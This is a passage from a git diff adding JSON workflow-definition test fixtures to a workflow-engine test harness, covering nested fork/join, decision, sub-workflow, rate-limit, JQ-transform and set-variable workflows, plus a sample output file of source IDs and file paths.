"integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "retryCount": 0 + } + ] + ] + }, + { + "name": "inner_join", + "taskReferenceName": "inner_join", + "type": "JOIN", + "joinOn": [ + "st1", + "t2" + ] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "t3", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "retryCount": 0 + } + ] + ] + }, + { + "name": "join", + "taskReferenceName": "outer_join", + "inputParameters": {}, + "type": "JOIN", + "joinOn": [ + "inner_join", + "t3" + ] + } + ], + "inputParameters": [ + "param1", + "param2", + "subwf" + ], + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/nested_fork_join_with_sub_workflow_integration_test.json b/test-harness/src/test/resources/nested_fork_join_with_sub_workflow_integration_test.json new file mode 100644 index 0000000..6c9cbbc --- /dev/null +++ b/test-harness/src/test/resources/nested_fork_join_with_sub_workflow_integration_test.json @@ -0,0 +1,369 @@ +{ + "name": "FanInOutNestedSubWorkflowTest", + "description": "FanInOutNestedSubWorkflowTest", + "version": 1, + "tasks": [ + { + "name": "fork1", + "taskReferenceName": "fork1", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_11", + "taskReferenceName": "t11", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "fork2", + "taskReferenceName": "fork2", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_12", + "taskReferenceName": "t12", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_14", + "taskReferenceName": "t14", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_13", + "taskReferenceName": "t13", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "Decision", + "taskReferenceName": "d1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "a": [ + { + "name": "integration_task_16", + "taskReferenceName": "t16", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_19", + "taskReferenceName": "t19", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "b": [ + { + "name": "integration_task_17", + "taskReferenceName": "t17", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20b", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_18", + "taskReferenceName": "t18", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20def", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join2", + "taskReferenceName": "join2", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t14", + "t20" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "sw1", + "taskReferenceName": "sw1", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "integration_test_wf" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join1", + "taskReferenceName": "join1", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t11", + "join2", + "sw1" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_15", + "taskReferenceName": "t15", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/output.json b/test-harness/src/test/resources/output.json new file mode 100644 index 0000000..c0921cc --- /dev/null +++ b/test-harness/src/test/resources/output.json @@ -0,0 +1,424 @@ +{ + "imageType": "TEST_SAMPLE", + "case": "two", + "op": { + "TEST_SAMPLE": [ + { + "sourceId": "1413900_10830", + "url": "file/location/a0bdc4d0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_50241", + "url": "file/location/cd4e00a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-55ee8663-85c2-42d3-aca2-4076707e6d4e", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-14056154-1544-4350-81db-b3751fe44777", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-0b0ae5ea-d5c5-410c-adc9-bf16d2909c2e", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-08869779-614d-417c-bfea-36a3f8f199da", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-e117db45-1c48-45d0-b751-89386eb2d81d", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0221421-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/4a009209-002f-4b58-8b96-cb2198f8ba3c" + }, + { + "sourceId": "f0252161-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/55b56298-5e7a-4949-b919-88c5c9557e8e" + }, + { + "sourceId": "f038d070-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/3c4804f4-e826-436f-90c9-52b8d9266d52" + }, + { + "sourceId": "f04e0621-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/689283a1-1816-48ef-83da-7f9ac874bf45" + }, + { + "sourceId": "f04ddf10-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/586666ae-7321-445a-80b6-323c8c241ecd" + }, + { + "sourceId": "f05950c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/31795cc4-2590-4b20-a617-deaa18301f99" + }, + { + "sourceId": "1413900_46819", + "url": "file/location/c74497a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_11177", + "url": "file/location/a231c730-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_48713", + "url": "file/location/ca638ae0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_48525", + "url": "file/location/ca0c9140-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_73303", + "url": "file/location/d5943a40-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_55202", + "url": "file/location/d1a4d7a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-61413adf-3c10-4484-b25d-e238df898f45", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-addca397-f050-4339-ae86-9ba8c4e1b0d5", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e4de9810-0f69-4593-8926-01ed82cbebcb", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e16e2074-7af6-4700-ab05-ca41ba9c9ab4", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-341c86f8-57a5-40e1-8842-3eb41dd9f528", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-88c2ea9b-cef7-4120-8043-b92713d8fade", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3f6a731f-3c92-4677-9923-f80b8a6be632", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-1508b871-64de-47ce-8b07-76c5cb3f3e1e", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "generated-1406dce8-7b9c-4956-a7e8-78721c476ce9", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "f0206671-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35ebee36-3072-44c5-abb5-702a5a3b1a91" + }, + { + "sourceId": "f01f5501-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d3a9133d-c681-4910-a769-8195526ae634" + }, + { + "sourceId": "f022b060-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8fc1413d-170e-4644-a554-5e0c596b225c" + }, + { + "sourceId": "f02fa8b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35bed0a2-7def-457b-bded-4f4d7d94f76e" + }, + { + "sourceId": "f031f2a0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a5a2ea1f-8d13-429c-a44d-3057d21f608a" + }, + { + "sourceId": "f0424650-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/1c599ffc-4f10-4c0b-8d9a-ae41c7256113" + }, + { + "sourceId": "f04ec970-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8404a421-e1a6-41cf-af63-a35ccb474457" + }, + { + "sourceId": "1413900_47197", + "url": "file/location/c81b6fa0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-2a63c0c8-62ea-44a4-a33b-f0b3047e8b00", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-b27face7-3589-4209-944a-5153b20c5996", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-144675b3-9321-48d2-8b5b-e19a40d30ef2", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-8cbe821e-b1fb-48ce-beb5-735319af4db6", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-ecc4ea47-9bad-4b91-97c7-35f4ea6fb479", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-c1eb9ed0-8560-4e09-a748-f926edb7cdc2", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-6bed81fd-c777-4c61-8da1-0bb7f7cf0082", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-852e5510-dd5d-4900-a614-854148fcc716", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-f4dedcb7-37c9-4ba9-ab37-64ec9be7c882", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0259691-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/721bc0de-e75f-4386-8b2e-ca84eb653596" + }, + { + "sourceId": "f02b3be1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d2043b17-8ce5-42ee-a5e4-81c68f0c4838" + }, + { + "sourceId": "f02b62f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/63931561-3b5b-4ffe-af47-da2c9de94684" + }, + { + "sourceId": "f0315660-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d99ed629-2885-4e4a-8a1b-22e487b875fa" + }, + { + "sourceId": "f0306c00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6f8e673a-7003-44aa-96b9-e2ed8a4654ff" + }, + { + "sourceId": "f033c760-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/627c00f9-14b3-4057-b6e2-0f962ad0308e" + }, + { + "sourceId": "f03526f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fafabaf9-fe58-4a9a-b555-026521aeb2fe" + }, + { + "sourceId": "f03acc41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6c9fed2c-558a-4db3-8360-659b5e8c46e4" + }, + { + "sourceId": "f0463df1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e9fb83d2-5f14-4442-92b5-67e613f2e35f" + }, + { + "sourceId": "f04fb3d0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e7a0f82f-be8d-4ada-a4b1-13e8165e08be" + }, + { + "sourceId": "f05272f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9aba488a-22b3-4932-85a7-52c461203541" + }, + { + "sourceId": "f0581841-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/457415f6-6d0c-4304-8533-0d5b43fac564" + }, + { + "sourceId": "generated-8fefb48c-6fde-4fd6-8f33-a1f3f3b62105", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-30c61aa5-f5bd-4077-8c32-336b87acbe96", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-d5da37db-d486-46d4-8f7d-1e0710a77eb5", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-77af26fe-9e22-48af-99e3-f63f10fbe6de", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-2e807016-3d11-4b60-bec7-c380a608b67d", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-615d02e9-62c2-43ab-9df7-753b6b8e2c22", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3e1600fd-a626-4ee6-972b-5f0187e96c38", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-1dcb208c-6a58-4334-a60c-6fb54c8a2af5", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f024ac30-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0af2107b-4231-4d23-bef3-4e417ac6c5d3" + }, + { + "sourceId": "f0282ea1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0f592681-fd23-4194-ae43-42f61c664485" + }, + { + "sourceId": "f02c4d50-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ec46b9a3-99af-410a-af7d-726f8854909f" + }, + { + "sourceId": "f02b8a00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aed7e5da-b524-4d41-b264-28ce615ec826" + }, + { + "sourceId": "f02b14d1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/b88c9055-ab0d-4d27-a405-265ba2a15f0c" + }, + { + "sourceId": "f03044f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb8c4df9-d59e-4ac3-880e-4ea94cd880a4" + }, + { + "sourceId": "f034ffe1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/59f3fbe8-b300-4861-9b2f-dac7b15aea7d" + }, + { + "sourceId": "f03c2bd0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/19a06d54-41ed-419d-9947-f10cd5f0d85c" + }, + { + "sourceId": "f03fae41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a9a48a62-7d62-4f67-b281-cc6fdc1e722c" + }, + { + "sourceId": "f0455390-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0aeffc0a-a5ad-46ff-abab-1b3bc6a5840a" + }, + { + "sourceId": "f04b1ff1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9a08aaed-c125-48f7-9d1d-fd11266c2b12" + }, + { + "sourceId": "f04cf4b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/17a6e0f9-aa64-411f-9af7-837c84f7443f" + }, + { + "sourceId": "f0511360-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb633c73-cb33-4806-bc08-049024644856" + }, + { + "sourceId": "f0538460-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a7012248-6769-42da-a6c8-d4b831f6efce" + }, + { + "sourceId": "f058db91-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/bcf71522-6168-48c4-86c9-995bca60ae51" + }, + { + "sourceId": "generated-adf005c4-95c1-4904-9968-09cc19a26bfe", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-c4d367a4-4cdc-412e-af79-09b227f2e3ba", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-48dba018-f884-49db-b87e-67274e244c8f", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "generated-26700b83-4892-420e-8b46-1ee21eba75fb", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-632f3198-c0dc-4348-974f-51684d4e443e", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-86e2dd1d-1aa4-4dbe-b37b-b488f5dd1c70", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f04134e0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ff8f59bf-7757-4d51-a7e4-619f3e8ffaf2" + }, + { + "sourceId": "f04f65b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d66467d1-3ac6-4041-8d15-e722ee07231f" + }, + { + "sourceId": "1413900_15255", + "url": "file/location/a9e20260-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-e953493b-cbe3-4319-885e-00c82089c76c", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-65c54676-3adb-4ef0-b65e-8e2a49533cbf", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "f02ac6b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/21568877-07a5-411f-9715-5e92806c4448" + }, + { + "sourceId": "f02fcfc1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/f3b1f1a2-48d3-475d-a607-2e5a1fe532e7" + }, + { + "sourceId": "f03526f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/84a40c66-d925-4a4a-ba62-8491d26e29e9" + }, + { + "sourceId": "f03e75c1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e84c00e8-a148-46cf-9a0b-431c4c2aeb08" + }, + { + "sourceId": "f0429471-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/178de9fa-7cc8-457a-8fb6-5c080e6163ea" + }, + { + "sourceId": "f047eba0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/18d153aa-e13b-4264-ae03-f3da75eb425b" + }, + { + "sourceId": "f04fdae0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/7c843e53-8d87-47cf-bca5-1a02e7f5e33f" + }, + { + "sourceId": "f0553210-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/26bacd65-9082-4d83-9506-90e5f1ccd16a" + }, + { + "sourceId": "1413900_84904", + "url": "file/location/d8f7b090-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-84adc784-8d7d-4088-ba51-16fde57fbc21", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-9e49c58b-0b33-4daf-a39a-8fc91e302328", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "f02dd3f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8937b328-8f0d-4762-8d1f-7d7bc80c3d2e" + }, + { + "sourceId": "f03240c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aab6e386-4d59-4b40-b257-9aed12a45446" + } + ] + } +} \ No newline at end of file diff --git a/test-harness/src/test/resources/rate_limited_simple_task_workflow_integration_test.json b/test-harness/src/test/resources/rate_limited_simple_task_workflow_integration_test.json new file mode 100644 index 0000000..5a04ca0 --- /dev/null +++ b/test-harness/src/test/resources/rate_limited_simple_task_workflow_integration_test.json @@ -0,0 +1,29 @@ +{ + "name": "test_rate_limit_simple_task_workflow", + "version": 1, + "tasks": [ + { + "name": "test_simple_task_with_rateLimits", + "taskReferenceName": "test_simple_task_with_rateLimits", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/rate_limited_system_task_workflow_integration_test.json b/test-harness/src/test/resources/rate_limited_system_task_workflow_integration_test.json new file mode 100644 index 0000000..29690b6 --- /dev/null +++ b/test-harness/src/test/resources/rate_limited_system_task_workflow_integration_test.json @@ -0,0 +1,29 @@ +{ + "name": "test_rate_limit_system_task_workflow", + "version": 1, + "tasks": [ + { + "name": "test_task_with_rateLimits", + "taskReferenceName": "test_task_with_rateLimits", + "inputParameters": {}, + "type": "USER_TASK", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/sequential_json_jq_transform_integration_test.json b/test-harness/src/test/resources/sequential_json_jq_transform_integration_test.json new file mode 100644 index 0000000..f2a4465 --- /dev/null +++ b/test-harness/src/test/resources/sequential_json_jq_transform_integration_test.json @@ -0,0 +1,40 @@ +{ + "name": "sequential_json_jq_transform_wf", + "version": 1, + "tasks": [ + { + "name": "default_variables", + "taskReferenceName": "default_variables", + "description": "default_variables", + "inputParameters": { + "input": "${workflow.input}", + "queryExpression": "{ requestTransform: .input.requestTransform // \".body\" , responseTransform: .input.responseTransform // \".response.body\", method: .input.method // \"GET\", document: .input.document // \"rgt_results\", successExpression: .input.successExpression // \"true\" }" + }, + "type": "JSON_JQ_TRANSFORM", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "request_transform", + "taskReferenceName": "request_transform", + "description": "request_transform", + "inputParameters": { + "body": "${workflow.input.body}", + "queryExpression": "${default_variables.output.result.requestTransform}" + }, + "type": "JSON_JQ_TRANSFORM", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/set_variable_workflow_integration_test.json b/test-harness/src/test/resources/set_variable_workflow_integration_test.json new file mode 100644 index 0000000..b7731c4 --- /dev/null +++ b/test-harness/src/test/resources/set_variable_workflow_integration_test.json @@ -0,0 +1,59 @@ +{ + "name": "set_variable_workflow_integration_test", + "version": 1, + "tasks": [ + { + "name": "simple", + "taskReferenceName": "simple", + "description": "simple", + "inputParameters": { + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "set_variable", + "taskReferenceName": "set_variable_1", + "inputParameters": { + "var": "${workflow.input.var}" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "wait", + "taskReferenceName": "wait0", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": { + "variables": "${workflow.variables}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/simple_decision_task_integration_test.json 